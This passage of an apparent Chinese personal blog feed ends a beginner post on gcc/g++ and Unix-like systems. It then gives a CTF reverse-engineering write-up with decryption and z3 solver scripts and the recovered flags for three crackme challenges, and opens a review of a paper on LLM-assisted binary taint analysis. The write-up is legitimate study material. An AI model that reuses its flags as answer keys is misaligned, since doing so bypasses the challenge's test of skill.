&lt;p&gt;&lt;em&gt;&lt;strong&gt;编译C的编译器&lt;code&gt;gcc&lt;/code&gt;, &lt;code&gt;g++&lt;/code&gt;, 全称是什么? 属于什么?&lt;/strong&gt;&lt;/em&gt;    &lt;strong&gt;gcc (原本只是GNU C Compiler, 后来是GNU Compiler Collection)&lt;/strong&gt;, 它不仅可以编译C, 还可以编译C++, Objective-C, Fortran, Ada, Go等挺多语言; &lt;strong&gt;g++ (GNU C++ Compiler, 是GCC 中的 C++ 前端)&lt;/strong&gt; g++（GNU C++ Compiler）是 GCC 的 C++ 前端/驱动程序。就命令 &lt;code&gt;g++&lt;/code&gt; 而言，它调用 GCC 的 C++ 前端，默认按 C++ 语法处理源文件（包括 .c，除非用 -x c 指定为 C），并默认链接 C++ 标准库。GCC 属于 GNU Project 的一部分。&lt;/p&gt;
&lt;p&gt;省流版丢个表格能清晰点, 当我们使用&lt;code&gt;gcc main.* -o main&lt;/code&gt;时:&lt;/p&gt;
&lt;div class=&quot;table&quot;&gt;
































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;扩展名&lt;/th&gt;&lt;th align=&quot;left&quot;&gt;默认语言模式&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align=&quot;left&quot;&gt;&lt;code&gt;.c&lt;/code&gt;&lt;/td&gt;&lt;td align=&quot;left&quot;&gt;C (但用 &lt;code&gt;g++&lt;/code&gt; 编译会当作 C++)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;left&quot;&gt;&lt;code&gt;.cc&lt;/code&gt; &lt;code&gt;.cpp&lt;/code&gt; &lt;code&gt;.cxx&lt;/code&gt; &lt;code&gt;.c++&lt;/code&gt;&lt;/td&gt;&lt;td align=&quot;left&quot;&gt;C++&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;left&quot;&gt;&lt;code&gt;.C&lt;/code&gt;（大写）&lt;/td&gt;&lt;td align=&quot;left&quot;&gt;C++&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;left&quot;&gt;&lt;code&gt;.m&lt;/code&gt;&lt;/td&gt;&lt;td align=&quot;left&quot;&gt;Objective-C&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;left&quot;&gt;&lt;code&gt;.mm&lt;/code&gt;&lt;/td&gt;&lt;td align=&quot;left&quot;&gt;Objective-C++&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;left&quot;&gt;…&lt;/td&gt;&lt;td align=&quot;left&quot;&gt;…&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;所以&lt;code&gt;.cpp&lt;/code&gt; 用&lt;code&gt;g++&lt;/code&gt;, &lt;code&gt;.c&lt;/code&gt;用&lt;code&gt;gcc&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Unix和Unix-like的关系是什么?&lt;/strong&gt;&lt;/em&gt;    Unix-like系统现在包含正统的Unix系统,, 一个直观的树形图:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;Unix-like
 ├── Certified Unix
 │    ├── IBM AIX
 │    ├── HP-UX
 │    ├── Oracle Solaris
 │    └── macOS
 └── Non-certified but Unix-like
      ├── GNU/Linux
      ├── FreeBSD / OpenBSD / NetBSD
      ├── illumos
      └── Minix
      └── ...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;展示了二者的关系. 图表中的第二类Unix-like系统 (无认证) 的描述: 具有Unix特性和接口的系统, 目录和文件系统的层级结构类似Unix, 遵循POSIX的操作系统.&lt;/p&gt;
&lt;h2 id=&quot;最后&quot;&gt;最后&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;零零零基础, 不用担心很多东西不懂, 从 LLMs, Google, Wikipedia, Github, 甚至Youtube, Bilibili 等等网站能学到的东西数不胜数, 关键要有耐心, 推荐先浏览&lt;a href=&quot;https://nju-projectn.github.io/ics-pa-gitbook/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;NJU-PA&lt;/a&gt;的Introduction部分&lt;/li&gt;
&lt;li&gt;玩的开心&lt;/li&gt;
&lt;li&gt;本文如有任何问题, 欢迎大佬指正!&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;section class=&quot;footnotes&quot;&gt;&lt;h2 class=&quot;sr-only&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-2&quot;&gt;
&lt;p&gt;推荐 WSL2, 最接近真实 Linux. 注意换行符 CRLF/LF 与路径差异. 可以在Windows Terminal中设置WSL路径转换 &lt;a href=&quot;#user-content-fnref-2&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-1&quot;&gt;
&lt;p&gt;也可用 Git for Windows 自带的 Git Bash, Cygwin 或 MSYS2 等, 但还不急, 这些你以后可能会遇到 &lt;a href=&quot;#user-content-fnref-1&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-7&quot;&gt;
&lt;p&gt;这里指&lt;a href=&quot;https://en.wikipedia.org/wiki/Terminal_emulator&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Terminal Emulator&lt;/a&gt;, 并不是真正的&lt;a href=&quot;https://en.wikipedia.org/wiki/Computer_terminal&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Terminal&lt;/a&gt;, 感兴趣可以看看&lt;a href=&quot;https://www.reddit.com/r/learnprogramming/comments/r4or28/can_someone_please_explain_what_a_bash_and_shell/#:~:text=a%20terminal%20emulator%20is%20a%20software%20program%20that%20emulates%20a%20physical%20terminal%2C%20doing%20the%20same%20job%20as%20a%20terminal%20while%20running%20on%20an%20actual%20computer&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;这个reddit的讨论&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-7&quot; aria-label=&quot;Back to reference 3&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-6&quot;&gt;
&lt;p&gt;当然不止终端交互 (&lt;a href=&quot;https://en.wikipedia.org/wiki/Shell_(computing)#:~:text=although%20some%20graphical%20user%20interface%20(gui)%20programs%20are%20arguably%20classified%20as%20shells%20too&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;ref: wikipedia&lt;/a&gt;), 比如 Windows 的 &lt;code&gt;explorer.exe&lt;/code&gt;. 右键菜单, 文件关联, 桌面等都属于它的职能, 而他是个Windows Shell (GUI Shell). 简而言之, 如果它主要启动/管理其他程序和环境, 那就是shell, 否则不是. &lt;a href=&quot;#user-content-fnref-6&quot; aria-label=&quot;Back to reference 4&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-4&quot;&gt;
&lt;p&gt;Windows 用 CRLF (\r\n), Unix/WSL/macOS 用 LF (\n). Bash 脚本必须是 LF; CRLF 会报错哦 &lt;a href=&quot;#user-content-fnref-4&quot; aria-label=&quot;Back to reference 5&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-5&quot;&gt;
&lt;p&gt;实际上不准确, 我们用Bash编排流程 (它擅长使用CLI工具制作流程); 用 Python/Go 写程序; 性能交给 C/C++/Rust. &lt;a href=&quot;#user-content-fnref-5&quot; aria-label=&quot;Back to reference 6&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-3&quot;&gt;
&lt;p&gt;Note: Project 是组织与计划; Operating System 指 Hurd 内核 + 用户空间; 多数人日常用的是 Linux 内核而非 Hurd. &lt;a href=&quot;#user-content-fnref-3&quot; aria-label=&quot;Back to reference 7&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded><category>Learn</category></item><item><title>陇剑杯</title><link>https://sh10rl.top/posts/re-practice-challenges/</link><guid isPermaLink="true">https://sh10rl.top/posts/re-practice-challenges/</guid><description>练手</description><pubDate>Tue, 09 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;lesscommon&quot;&gt;Lesscommon&lt;/h2&gt;
&lt;p&gt;注意&lt;code&gt;x + y == (x ^ y) + ((x &amp;#x26; y) &amp;#x3C;&amp;#x3C; 1)&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;__int64 __fastcall one_rond_enc(context *context_struct, unsigned __int8 *p_input_i, _BYTE *p_output_i)
{
  interim_0 = v0 + key[0];
  interim_1 = v1 + key[1];
  for ( i = 1; i &amp;#x3C;= 12 ++i ) // 12 iters
  {
    interim_0 = interim_1 ^ ROL4(key[2*i] + interim_0, interim_1);
    interim_1 = interim_0 ^ ROL4(key[2*i] + interim_1, interim_0);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;stdlib.h&gt;
#include &amp;#x3C;string.h&gt;
#include &amp;#x3C;stdint.h&gt;

unsigned int cipher[12] = {
    0xF3AB6F4C, 0xF6E27813, 0x991C9D86, 0x10CC85DE, 0x05EE28E8, 0x344B2192, 0x3C172843, 0x51735B56, 
    0x0F1D8A9F, 0x562C3497, 0x48699F42, 0xF58AD5A3
};

unsigned int key[26] = {
    0xE29075B4, 0xBBF28559, 0x01CEA3AA, 0xC32F06A9, 0x322BCBD2, 0x4B6947FD, 0xC65A9676, 0xE6EC21DE, 
    0xFC0D4679, 0xFBAD7BE4, 0x1E6A2032, 0x47150799, 0xFCA5733F, 0xD7D2FD1C, 0xA957923D, 0x94A4D5C6, 
    0xD8EBABA8, 0x7321CBE0, 0x5A0E0417, 0xA9F74244, 0x4616ADBD, 0xFB0925C4, 0x168F9ACC, 0xBE6AF2E2, 
    0xDB033BA9, 0xFFA2830E
};

uint32_t ROR4(uint32_t value, uint32_t count){
    count %= 32;
    return (value &gt;&gt; count) | (value &amp;#x3C;&amp;#x3C; (32 - count));
}

int main(){
    for (int i = 0;i &amp;#x3C; 12;i++){
        uint32_t v0 = cipher[2 * i];
        uint32_t v1 = cipher[2 * i + 1];
        for (int i = 12; i &gt;= 1 ;--i ) // 12 iters
        {
            v1 = ROR4(v1 ^ v0, v0) - key[2*i + 1];
            v0 = ROR4(v0 ^ v1, v1) - key[2*i];
        }
            v0 -=  key[0];
            v1 -=  key[1];

            cipher[2 * i] = v0;
            cipher[2 * i + 1] = v1;
    }

    printf(&quot;%s&quot;, cipher);
    
    return 0;
}
// flag{8c1fe64f-1085-48bb-947e-7635abc40f4c}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;table&quot;&gt;




































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Precedence&lt;/th&gt;&lt;th&gt;Operator&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;th&gt;Associativity&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&lt;code&gt;()&lt;/code&gt; &lt;code&gt;[]&lt;/code&gt; &lt;code&gt;-&gt;&lt;/code&gt; &lt;code&gt;.&lt;/code&gt; &lt;code&gt;++&lt;/code&gt; &lt;code&gt;--&lt;/code&gt; (postfix)&lt;/td&gt;&lt;td&gt;Function call, array subscript, member access, postfix increment/decrement&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;&lt;code&gt;++&lt;/code&gt; &lt;code&gt;--&lt;/code&gt; (prefix) &lt;code&gt;+&lt;/code&gt; &lt;code&gt;-&lt;/code&gt; (unary) &lt;code&gt;!&lt;/code&gt; &lt;code&gt;~&lt;/code&gt; &lt;code&gt;*&lt;/code&gt; (dereference) &lt;code&gt;&amp;#x26;&lt;/code&gt; (address-of) &lt;code&gt;sizeof&lt;/code&gt; &lt;code&gt;_Alignof&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Unary operators, prefix increment/decrement&lt;/td&gt;&lt;td&gt;Right to Left&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;&lt;code&gt;*&lt;/code&gt; &lt;code&gt;/&lt;/code&gt; &lt;code&gt;%&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Multiplication, division, modulus&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;&lt;code&gt;+&lt;/code&gt; &lt;code&gt;-&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Addition, subtraction&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;&lt;code&gt;&amp;#x3C;&amp;#x3C;&lt;/code&gt; &lt;code&gt;&gt;&gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Bitwise left shift, right shift&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;&lt;code&gt;&amp;#x3C;&lt;/code&gt; &lt;code&gt;&amp;#x3C;=&lt;/code&gt; &lt;code&gt;&gt;&lt;/code&gt; &lt;code&gt;&gt;=&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Relational operators&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;&lt;code&gt;==&lt;/code&gt; &lt;code&gt;!=&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Equality operators&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;&lt;code&gt;&amp;#x26;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Bitwise AND&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;&lt;code&gt;^&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Bitwise XOR (exclusive OR)&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;&lt;code&gt;|&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Bitwise OR (inclusive OR)&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11&lt;/td&gt;&lt;td&gt;&lt;code&gt;&amp;#x26;&amp;#x26;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Logical AND&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;12&lt;/td&gt;&lt;td&gt;&lt;code&gt;||&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Logical OR&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;13&lt;/td&gt;&lt;td&gt;&lt;code&gt;?:&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Ternary conditional operator&lt;/td&gt;&lt;td&gt;Right to Left&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;14&lt;/td&gt;&lt;td&gt;&lt;code&gt;=&lt;/code&gt; &lt;code&gt;+=&lt;/code&gt; &lt;code&gt;-=&lt;/code&gt; &lt;code&gt;*=&lt;/code&gt; &lt;code&gt;/=&lt;/code&gt; &lt;code&gt;%=&lt;/code&gt; &lt;code&gt;&amp;#x3C;&amp;#x3C;=&lt;/code&gt; &lt;code&gt;&gt;&gt;=&lt;/code&gt; &lt;code&gt;&amp;#x26;=&lt;/code&gt; &lt;code&gt;^=&lt;/code&gt; &lt;code&gt;|=&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Assignment operators&lt;/td&gt;&lt;td&gt;Right to Left&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;15&lt;/td&gt;&lt;td&gt;&lt;code&gt;,&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Comma operator&lt;/td&gt;&lt;td&gt;Left to Right&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h2 id=&quot;prover&quot;&gt;Prover&lt;/h2&gt;
&lt;p&gt;用到了四个等式和四个校验和做约束z3求解, 注意Concat接收俩都要是BitVec, z3加和运算在有限域上, BitVec需要扩展.&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;from z3 import *

def ROL4(x, n):
    # Correctly handle 32-bit rotation for BitVecs
    return (x &amp;#x3C;&amp;#x3C; n) | (LShR(x, 32 - n))

def popcount8(x):
    # This function works as-is, Z3&apos;s operators handle the integer constants
    return (x &amp;#x26; 1) + ((x&gt;&gt;1) &amp;#x26; 1) + ((x&gt;&gt;2) &amp;#x26; 1) + ((x&gt;&gt;3) &amp;#x26; 1) + ((x&gt;&gt;4) &amp;#x26; 1) + ((x&gt;&gt;5) &amp;#x26; 1) + ((x&gt;&gt;6) &amp;#x26; 1) + ((x&gt;&gt;7) &amp;#x26; 1)

s = Solver()

V0 = BitVec(&apos;V0&apos;, 32)
V1 = BitVec(&apos;V1&apos;, 32)
V2 = BitVec(&apos;V2&apos;, 32)
V3 = BitVec(&apos;V3&apos;, 32)
V4 = BitVec(&apos;V4&apos;, 32)
V5 = BitVec(&apos;V5&apos;, 32)

s.add(V0 == 0x1B744424)
s.add((V1 &amp;#x26; 0xFF) == 0x4E)
s.add((V5 &amp;#x26; 0xFFFF0000) == 0)
s.add((V5 &amp;#x26; 0xFF00) == 0xD500)

# Equation1
t = ROL4(V0, 5)
term1 = ROL4(V1, 11)
term2 = V4 ^ 0xDEADBEEF
term3 = (V2 - 0x61C88647) ^ t
s.add(term1 + term2 + term3 == 0xC356FD3A)

# Equation2
termA = ROL4(V3, 17)
termB = 0x27D4EB2D * V3
termC = V2 + 0x7F4A7C15
termD = ROL4(V5, 13) + 0x85EBCA6B * V1
v13 = termB ^ termC ^ termD
s.add(termA + v13 == 0xB5CCF033)

# Loop part
a0 = V3 ^ V0 ^ 0x13579BDF
b0 = ROL4(V2, 7) + V1

# n2=0
v9_0 = ROL4(0x9E3779B9 - (0x7A143595 * b0), 5)
b1 = ROL4(b0, 11) ^ b0 ^ v9_0 ^ a0

# n2=1
v9_1 = ROL4(0x9E3779B8 - (0x7A143595 * b1), 10)
b2 = ROL4(b1, 11) ^ b1 ^ v9_1 ^ b0

# Constraints on b1 and b2
s.add(b1 + b2 == 0x2FD99233)
s.add(ROL4(b2, 11) + ROL4(b1, 3) == 0x2BAF2082)

# Define bytes from V as a list for easier processing
All_Bytes = [Extract(i*8+7, i*8, V) for V in [V0,V1,V2,V3,V4] for i in range(4)]
All_Bytes.extend([Extract(7,0,V5), Extract(15,8,V5)]) # B20, B21

B0, B1, B2, B3, B4, B5, B6, B7, B8, B9, B10, B11, B12, B13, B14, B15, B16, B17, B18, B19, B20, B21 = All_Bytes

# Add known bytes
s.add(B0 == 0x24)
s.add(B1 == 0x44)
s.add(B2 == 0x74)
s.add(B3 == 0x1B)
s.add(B4 == 0x4E)
s.add(B21 == 0xD5)

# ** FIX APPLIED HERE **
# The integer 0 is replaced with BitVecVal(0, ) for zero-extension.
zero_ext = lambda b: Concat(BitVecVal(0, 8), b)

# Checksum3
sum_val = Sum([zero_ext(b) for b in All_Bytes])
checksum_3 = Extract(15,0, sum_val)
s.add(checksum_3 == 0x913)

# Checksum2
xor_val = All_Bytes[0]
for i in range(1, len(All_Bytes)):
    xor_val = xor_val ^ All_Bytes[i]
s.add(xor_val == 0x55)

# ** AND FIX APPLIED HERE **
# Checksum1
weighted_sum = Sum([zero_ext(All_Bytes[i]) * (i + 1) for i in range(len(All_Bytes))])
checksum_1 = Extract(7,0, weighted_sum)
s.add(checksum_1 == 0x43)

# Checksum
pop_sum = Sum([popcount8(b) for b in All_Bytes])
checksum = Extract(7,0, pop_sum)
s.add(checksum == 0x50)

if s.check() == sat:
    m = s.model()
    print(&quot;Solution found!&quot;)
    print(&quot;V0 =&quot;, hex(m[V0].as_long()))
    print(&quot;V1 =&quot;, hex(m[V1].as_long()))
    print(&quot;V2 =&quot;, hex(m[V2].as_long()))
    print(&quot;V3 =&quot;, hex(m[V3].as_long()))
    print(&quot;V4 =&quot;, hex(m[V4].as_long()))
    print(&quot;V5 =&quot;, hex(m[V5].as_long()))
else:
    print(&quot;No solution&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;hex_bytes= [&apos;0x24&apos;, &apos;0x44&apos;, &apos;0x74&apos;, &apos;0x1b&apos;, &apos;0x4e&apos;, &apos;0x84&apos;, &apos;0x0f&apos;, &apos;0xab&apos;, &apos;0xf2&apos;, &apos;0xdc&apos;, &apos;0x30&apos;, &apos;0x4e&apos;, &apos;0x1f&apos;, &apos;0xc4&apos;, &apos;0x22&apos;, &apos;0xa0&apos;, &apos;0x55&apos;, &apos;0x0b&apos;, &apos;0xfe&apos;, &apos;0x1a&apos;, &apos;0x52&apos;, &apos;0xd5&apos;]
hex_bytes = [int(s, 16) for s in hex_bytes]
key_1 = [0x03, 0x05, 0x09, 0x0B, 0x0D]
key_2 = [0xA5, 0x5C, 0xC3, 0x96, 0x3E, 0xD7, 0x21]
_ROR_ = lambda b, i: ((b &gt;&gt; (i)) | (b &amp;#x3C;&amp;#x3C; (8 - i))) &amp;#x26; 0xff

plain = []

for i in range(22):
    c1 = _ROR_(hex_bytes[i], (i % 5))
    c2 = (c1 ^ key_2[i % 7]) &amp;#x26; 0xff
    temp = (c2 - (19 * i + 79)) &amp;#x26; 0xff
    # 求乘法逆元
    c3 = (temp * pow(key_1[i % 5], -1, 0x100)) &amp;#x26; 0xff
    plain.append(chr(c3 &amp;#x26; 0xff))

print(&apos;&apos;.join(plain))
# flag{7ac1d3e59f0b2468}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;dragon&quot;&gt;Dragon&lt;/h2&gt;
&lt;p&gt;main反编译不全, 看到&lt;code&gt;jmp rax&lt;/code&gt;寄存器混淆:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250909145909729&quot; width=&quot;1085&quot; height=&quot;230&quot; src=&quot;https://sh10rl.top/_astro/image-20250909145909729.dxVjevbN_4kGxO.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;alt + b&lt;/code&gt;搜特征码去掉前三个混淆看到xxtea:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250909153747926&quot; width=&quot;1150&quot; height=&quot;227&quot; src=&quot;https://sh10rl.top/_astro/image-20250909153747926.Dygh56En_2ibjrd.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250909154659247&quot; width=&quot;1716&quot; height=&quot;544&quot; src=&quot;https://sh10rl.top/_astro/image-20250909154659247.BVi63y9F_25gAcQ.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250909154734433&quot; width=&quot;1705&quot; height=&quot;232&quot; src=&quot;https://sh10rl.top/_astro/image-20250909154734433.5FVJpC7V_1RgMw7.webp&quot;&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250909151408344&quot; width=&quot;2019&quot; height=&quot;930&quot; src=&quot;https://sh10rl.top/_astro/image-20250909151408344.D6_2L6kA_ZagQuj.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;写脚本解密:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;#include &amp;#x3C;stdint.h&gt;
#include &amp;#x3C;stdlib.h&gt;
#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;string.h&gt;

#define DELTA 0x87654321

void XXTEA_decrypt(uint32_t *v, int n, const uint32_t key[4]) {
    if (n &amp;#x3C; 2) return;  // At least two elements
    uint32_t y, z, sum, e;
    uint32_t p, q = 0x2a; // !
    sum = q * DELTA;
    y = v[0];
    do {
        e = (sum &gt;&gt; 2) &amp;#x26; 3;
        for (p = n - 1; p &gt; 0; p--) {
            z = v[p - 1];
            v[p] -= ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 4)) + ((y &gt;&gt; 5) ^ (z &amp;#x3C;&amp;#x3C; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z));
            y = v[p];
        }
        z = v[n - 1];
        v[0] -= ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 4)) + ((y &gt;&gt; 5) ^ (z &amp;#x3C;&amp;#x3C; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z));
        y = v[0];
        sum -= DELTA;
    } while (--q &gt; 0);
}

int main()
{
    uint32_t key[] = {0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210};
    uint8_t cipher[] =
    {
        0xCE, 0xD6, 0xB4, 0x0E, 0x8B, 0xDE, 0x1D, 0x52, 0xFD, 0x24, 
        0xED, 0x21, 0x26, 0xEC, 0x10, 0xBA, 0x1C, 0x93, 0x39, 0x33, 
        0x7D, 0x0E, 0xDC, 0x46, 0x44, 0x9F, 0x46, 0xCC, 0x79, 0x70, 
        0xBA, 0x64, 0x77, 0x79, 0x77, 0x64, 0x98, 0x1C, 0x15, 0xB2, 
        0xA1, 0x5A, 0xCC, 0xDB
    };
    
    for (uint32_t index = 0; index &amp;#x3C; 4; ++index )
    {
        key[index] = key[index] ^ 0x13579BDF;
        key[index] = (key[index] &gt;&gt; 25) | (key[index] &amp;#x3C;&amp;#x3C; 7);
    }

    int cipher_len_bytes = sizeof(cipher);
    int n = cipher_len_bytes / sizeof(uint32_t);

    XXTEA_decrypt((uint32_t *)cipher, n, (const uint32_t *)key);

    // Output
    printf(&quot;Decrypted data (as chars, %zu bytes):\n&quot;, cipher_len_bytes);
    for (size_t i = 0; i &amp;#x3C; cipher_len_bytes; i++)
    {
        if (cipher[i] &gt;= 32 &amp;#x26;&amp;#x26; cipher[i] &amp;#x3C;= 126) {
             printf(&quot;%c&quot;, cipher[i]);
        } else {
             printf(&quot;.&quot;); 
        }
    }
    return 0;
}
// flag{cbee3251-9cff-4542-bf15-337bb8df7f3f}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded><category>CTF</category></item><item><title>论文阅读: Harnessing the Power of LLM to Support Binary Taint Analysis</title><link>https://sh10rl.top/posts/harnessing-llm/</link><guid isPermaLink="true">https://sh10rl.top/posts/harnessing-llm/</guid><description>今天分享一篇来自 TSEM (Transactions on Software Engineering and Methodology) 的一篇文章, 本篇文章是当时首个在二进制污点静态分析系统上使用LLMs协助来查找漏洞的研究. LLMs善于语义理解, 模式匹配和预测, 并且泛化能力强, 运用到漏洞检查领域潜力巨大.</description><pubDate>Fri, 15 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;figure&gt;&lt;img alt=&quot;image-20250810133015399&quot; width=&quot;1422&quot; height=&quot;755&quot; src=&quot;https://sh10rl.top/_astro/image-20250810133015399.llWqs-Cv_14gmUd.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;General Idea.&lt;/strong&gt;&lt;/em&gt;    文章使用LLMs协助人工对二进制文件进行污点分析, 与传统的污点分析 (源 → 污点传播 + Sanitizer → 汇) 的流程不同, 它从危险函数调用点sink (使用LLMs识别) 开始向反方向构建&lt;code&gt;(函数; 参数)&lt;/code&gt;调用链, 然后修剪非外部可控的数据源source (也使用LLMs识别) 同时不使用Sanitizer以防止假阴性, 得到危险流 (Dangerous Flows, DFs), 这些危险流处理后成为LLMs的Prompt序列, 最后由LLMs负责完成漏洞判定. 此方法解决了传统人工二进制污点分析时对代码语义理解和漏洞模式识别的高要求难点.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Challenges.&lt;/strong&gt;&lt;/em&gt;    提示词工程会严重影响LLMs的性能; 同时LLMs的上下文有限, 需要合理编码代码上下文, 一个静态二进制文件包含的上下文会一下把LLMs喂饱; 再加上超长上下文带来的幻觉问题, LLMs要接收的信息必须少而精.&lt;/p&gt;
